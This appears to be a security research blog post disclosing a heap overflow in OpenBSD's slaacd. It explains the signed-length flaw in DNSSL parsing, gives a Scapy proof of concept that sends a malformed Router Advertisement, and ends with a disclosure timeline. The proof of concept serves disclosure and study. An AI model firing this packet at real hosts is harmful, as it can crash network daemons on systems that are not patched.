Heap Overflow in OpenBSD's slaacd via Router Advertisement

In this blog post we analyze a heap overflow vulnerability we discovered in the IPv6 stack of OpenBSD, more specifically in its slaacd daemon. This issue, whose root cause can be found in the mishandling of Router Advertisement messages containing a DNSSL option with a malformed domain label, was patched by OpenBSD on March 21, 2022. A proof-of-concept to reproduce the vulnerability is provided.


On February 21, 2022, the OpenBSD team published security errata 014 addressing a buffer overflow in slaacd. slaacd is a stateless address autoconfiguration (SLAAC) daemon, which sends Router Solicitation messages and parses the received Router Advertisement answers. Router Solicitation and Router Advertisement messages are part of the Neighbor Discovery protocol, which in turn is part of the IPv6 protocol suite.

After being pointed to that bug in OpenBSD's slaacd by a colleague, and being familiar with vulnerabilities related to Router Advertisements (see our Windows and FreeBSD blog posts from the past), I couldn't resist taking a look at slaacd in search of new vulnerabilities.

Router Advertisements and DNSSL Options

Router Advertisement (RA for short) is one of the message types of the Neighbor Discovery (ND) protocol, which is part of the IPv6 protocol stack. Router Advertisement messages are sent by routers to advertise their presence, together with various link and Internet parameters.

RA packets can contain a variable number of options. One of those options types is the DNS Search List option (DNSSL for short), which contains one or more domain names of DNS suffixes.

The parse_dnssl function in sbin/slaacd/engine.c is in charge of parsing DNSSL options contained within Router Advertisement messages.

Domain names included in a DNSSL option are encoded as a sequence of labels, with each label being represented as a one-byte length field followed by that number of bytes, as specified in section 3.1 of RFC 1035. A domain name is terminated by a length byte of zero.

For example, the domain name dns.quarkslab.com would be encoded this way:

The Vulnerability

This is the affected function, with relevant lines annotated on the left:

parse_dnssl(char* data, int datalen)
[1] int len, pos;
    char *nssl, *nsslp;

    if((nssl = calloc(1, datalen + 1)) == NULL) {
        return NULL;
    nsslp = nssl;

    pos = 0;

    do {
[2]     len = data[pos];
[3]     if (len > 63 || len + pos + 1 > datalen) {
            log_warnx("invalid label in DNSSL");
            return NULL;
        if (len == 0) {
            if (pos < datalen && data[pos + 1] != 0)
                *nsslp++ = ' '; /* seperator for next domain */
        } else {
            if (pos != 0 && data[pos - 1] != 0) /* no . at front */
                *nsslp++ = '.';
[4]         memcpy(nsslp, data + pos + 1, len);
            nsslp += len;
        pos += len + 1;
    } while(pos < datalen);
    if (len != 0) {
        log_warnx("invalid label in DNSSL");
        return NULL;
    return nssl;

The problem arises because a signed integer (the int len variable at [1]) is used when reading the length field of a label at [2]. By crafting a domain containing a label with a negative number in its length field, it is possible to bypass the sanity checks at [3], which ultimately leads to a heap overflow at [4], in which memcpy ends up being invoked with a huge unsigned value as its size parameter.

Following the previous example, this diagram shows a malicious domain name with a bogus length in its first label, which is enough to trigger the vulnerability:

Being a heap overflow due to a memcpy with an extremely large size argument, we consider that this bug is unlikely to be exploited for remote code execution.

Proof of Concept

The following proof of concept, based on the Scapy Python library, demonstrates the vulnerability by answering to Router Solicitation messages with a Router Advertisement message containing a DNSSL option with a malformed domain label.

import struct
import argparse

from scapy.layers.inet6 import IPv6, ICMPv6ND_RA, ICMPv6ND_RS, ICMPv6NDOptRDNSS, ICMPv6NDOptDNSSL
from scapy.all import send, sniff

def create_dnssl_option():
    dnssl  = struct.pack('!B', 0x1f)        # type: DNS Search List option
    dnssl += struct.pack('!B', 0x03)        # Length: 3 * 8 == 24 bytes
    dnssl += struct.pack('!H', 0x0000)      # Reserved
    dnssl += struct.pack('!L', 300)         # Lifetime: 300
    dnssl += struct.pack('!B', 0xff)        # ***** This negative label length triggers the bug *****
    dnssl += b'dnssl'                       # Label
    dnssl += struct.pack('!B', 0x07)        # Label length
    dnssl += b'example'                     # Label
    dnssl += struct.pack('!B', 0x00)        # Length 0 marks the end of domain name
    dnssl += b'\x00'                        # Padding to fill 24 bytes
    return dnssl

def dnssl_bug(args):
    ip = IPv6(src=args.src, dst=args.target, hlim=255)
    ra = ICMPv6ND_RA()

    dnssl = create_dnssl_option()

    pkt = ip/ra/dnssl
    send(pkt, iface=args.interface)

def main(args):
    while True:
        print('Waiting for ICMPv6ND_RS packets...')
        rs = sniff(count=1, iface=args.interface, lfilter=lambda pkt: pkt.haslayer(ICMPv6ND_RS))[0]
        print('Received Router Solicitation message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))

        if rs[IPv6].src == args.target:
            print('Triggering bug ...')
            print('Ignoring request from address {}'.format(rs[IPv6].src))

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for a heap overflow in OpenBSD's slaacd.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='IPv6 address of the OpenBSD target')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()



The OpenBSD team promptly fixed the reported vulnerability and released security errata 017 for OpenBSD 7.0, and security errata 033 for OpenBSD 6.9.

Disclosure Timeline

  • March 16, 2022: Vulnerability reported to the OpenBSD security team.
  • March 16, 2022: The OpenBSD security team acknowledges receiving the report, expressing that they will handle the bug the upcoming week. The OpenBSD team states that they consider that the vulnerability would be exploitable if there weren't severe privilege separation and pledge involved.
  • March 21, 2022: OpenBSD publishes security errata 017 for OpenBSD 7.0, and security errata 033 for OpenBSD 6.9, addressing the vulnerability.
  • March 22, 2022: Quarkslab publishes this blog post.